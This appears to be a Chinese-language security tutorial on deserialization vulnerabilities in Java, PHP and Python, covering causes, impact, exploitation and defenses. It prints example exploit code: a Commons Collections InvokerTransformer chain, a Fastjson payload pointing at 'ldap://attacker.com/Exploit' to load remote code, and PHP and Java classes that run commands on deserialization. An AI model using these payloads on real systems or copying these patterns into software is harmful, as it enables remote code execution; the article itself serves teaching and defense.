点击上方蓝字关注我们
在安全测试中,反序列化漏洞(Deserialization Vulnerability)因其高危害性和隐蔽性,成为近年来攻击者利用的最为频繁的漏洞类型之一,log4j2、fastjson等知名应用的漏洞中都不乏它的身影。本文将从原理、危害、利用方式及防御措施等方面,带大家详细了解这一漏洞。
什么是序列化与反序列化?
-
序列化(Serialization):指将对象(如程序中的数据结构、类实例等)转换为可存储或传输的格式(如JSON、XML、二进制流等)。例如,保存用户会话状态或传输数据时常用此技术。
-
反序列化(Deserialization):将序列化后的数据还原为原始对象的过程。例如,服务器接收客户端发送的序列化数据后,需反序列化以恢复对象状态。
反序列化漏洞的成因
漏洞的核心在于:反序列化过程中,攻击者可控的恶意数据被程序信任并还原为对象。当反序列化逻辑未对输入进行严格验证时,攻击者可构造恶意数据,触发非预期的代码执行或数据篡改。
常见风险场景:
-
未验证输入来源:直接反序列化用户提交的数据。
-
依赖不安全的反序列化库:如Java的ObjectInputStream、PHP的unserialize()等。
-
存在危险类/方法:反序列化时自动调用类的readObject()、__wakeup()等方法,攻击者可能通过构造恶意类实现代码执行。
1.未验证输入来源
场景:服务端直接反序列化客户端未经验证的输入数据。
案例:某Java Web应用接收客户端序列化的User对象数据,未做签名校验直接反序列化。
// 漏洞代码示例
public class UserController {
public void processUserData(byte[] data) {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
User user = (User) ois.readObject(); // 直接反序列化用户输入
// 处理用户数据...
}
}
}
攻击方式:攻击者构造恶意序列化数据(如包含Runtime.exec()调用链的Payload),替换正常User对象发送给服务端。服务端反序列化时触发恶意代码。
2.依赖不安全的反序列化库
场景:使用存在设计缺陷的序列化库,或未及时更新已知漏洞的第三方库。
案例1:Apache Commons Collections (CVE-2015-4852)
该库的Transformer接口允许链式调用方法,攻击者可构造恶意调用链实现RCE。
// 恶意Transformer链构造示例
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
攻击效果:当包含此链的序列化数据被反序列化时,会执行calc.exe(弹出计算器)。
案例2:Fastjson反序列化漏洞(CVE-2022-25845)
Fastjson的autoType功能允许指定任意类,攻击者利用此特性加载恶意类。
// 恶意JSON数据
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
攻击效果:服务端解析JSON时,触发JNDI注入,加载远程恶意代码。
3.存在危险类/方法
场景:反序列化过程中自动调用类中的特定方法(如readObject()、__wakeup()),这些方法可能被重写为危险逻辑。
案例1:Java的readObject()方法
若类重写readObject()且包含不安全操作,反序列化时会自动执行。
public class DangerousClass implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("恶意命令"); // 反序列化时自动执行
}
}
攻击方式:诱导服务端反序列化包含DangerousClass的数据。
案例2:PHP的__destruct()魔术方法
PHP反序列化时,若类定义了__destruct()方法,对象销毁时会自动调用该方法。
classMaliciousClass{
public function__destruct() {
system($_GET['cmd']); // 对象销毁时执行系统命令
}
}
// 攻击Payload
$data = serialize(new MaliciousClass());
// 发送$data至服务端,触发反序列化
4.其它原因
-
日志中的序列化数据:若日志记录敏感序列化数据(如Java异常堆栈中的HexDump),攻击者可能从日志提取并重放篡改后的数据。
-
缓存数据污染:缓存系统存储未经验证的序列化数据,攻击者篡改缓存实现持久化攻击。
漏洞危害
-
远程代码执行(RCE)
攻击者通过反序列化执行系统命令,直接控制服务器。 经典案例:Apache Struts2、Fastjson等框架的反序列化漏洞。
-
数据篡改与泄露
修改反序列化后的对象属性,绕过身份验证或窃取敏感数据。
-
拒绝服务攻击(DoS)
构造畸形数据导致程序崩溃,如触发无限循环或内存溢出。
典型利用方式
以Java反序列化漏洞为例,典型攻击链如下:
-
构造恶意对象:攻击者编写一个包含恶意代码的类(如执行系统命令)。
-
生成序列化数据:将该类序列化为二进制数据。
-
发送恶意数据:将数据提交至目标服务器。
-
触发漏洞:服务器反序列化数据时,自动执行恶意代码。
示例攻击(利用Apache Commons Collections库):
// 构造恶意命令执行链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("exec", ...)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 序列化并发送给目标服务器
byte[] payload = serialize(chain);
sendToTarget(payload);
常见反序列化漏洞类型
Java反序列化漏洞
-
依赖库问题:如Apache Commons Collections、Fastjson等。
-
利用工具:ysoserial、marshalsec等。
PHP反序列化漏洞
-
通过魔术方法(如__wakeup(), __destruct())触发恶意逻辑。
-
案例:ThinkPHP框架历史漏洞。
Python反序列化漏洞
-
使用pickle模块时,攻击者可构造__reduce__方法执行命令
防御措施
-
避免反序列化不可信数据:优先使用JSON、XML等安全数据格式。
-
白名单验证:限制反序列化的类,如Java中可通过ObjectInputFilter设置白名单。
-
使用安全替代方案:
-
Java:使用Jackson、Gson等库替代ObjectInputStream。
-
PHP:避免unserialize(),改用json_decode()。
-
最小化权限:运行反序列化代码的进程应遵循最小权限原则。
-
依赖库更新:及时修复已知漏洞的第三方库(如Log4j、Fastjson)。
-
输入过滤与日志监控:对反序列化操作进行异常检测和日志记录
总结
反序列化漏洞的本质是程序对“数据还原为对象”这一过程缺乏安全控制。开发者在设计序列化/反序列化功能时,需始终遵循“不信任任何输入”的原则,结合安全编码实践和防护技术,才能有效避免此类漏洞。
原文始发于微信公众号(星尘安全):反序列化漏洞原理剖析:从攻击到防御
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论